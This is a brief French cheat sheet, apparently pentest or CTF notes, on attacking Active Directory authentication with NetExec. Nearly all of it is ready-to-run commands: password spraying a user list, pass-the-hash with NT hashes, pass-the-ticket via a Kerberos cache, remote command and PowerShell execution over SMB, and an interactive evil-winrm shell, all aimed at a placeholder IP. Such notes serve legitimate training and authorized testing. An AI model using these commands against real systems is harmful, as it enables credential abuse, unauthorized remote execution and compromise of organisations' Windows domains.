Authentification AD
sommaire
Trois formes d’identifiants — nxc les accepte toutes
Mot de passe en clair, hash NT (Pass-the-Hash, -H), ou ticket Kerberos (Pass-the-Ticket, -k —use-kcache).
Valider des identifiants (nxc)
nxc smb 10.10.10.10 -u user -p pass # (Pwn3d! = admin local)
nxc smb 10.10.10.10 -u user -H <NThash> # avec un hash
nxc winrm 10.10.10.10 -u user -p pass # tester WinRM (5985)
nxc smb 10.10.10.10 -u users.txt -p 'Automne2024!' --continue-on-success # spray
Exécuter une commande / obtenir un shell
nxc smb 10.10.10.10 -u user -p pass -x whoami # commande directe (cmd)
nxc smb 10.10.10.10 -u user -p pass -X "Get-Process" # PowerShell
evil-winrm -i 10.10.10.10 -u user -p pass # shell interactif (ou -H <hash>)
Ticket Kerberos (Pass-the-Ticket)
export KRB5CCNAME=ticket.ccache
nxc smb 10.10.10.10 -k --use-kcache -x whoami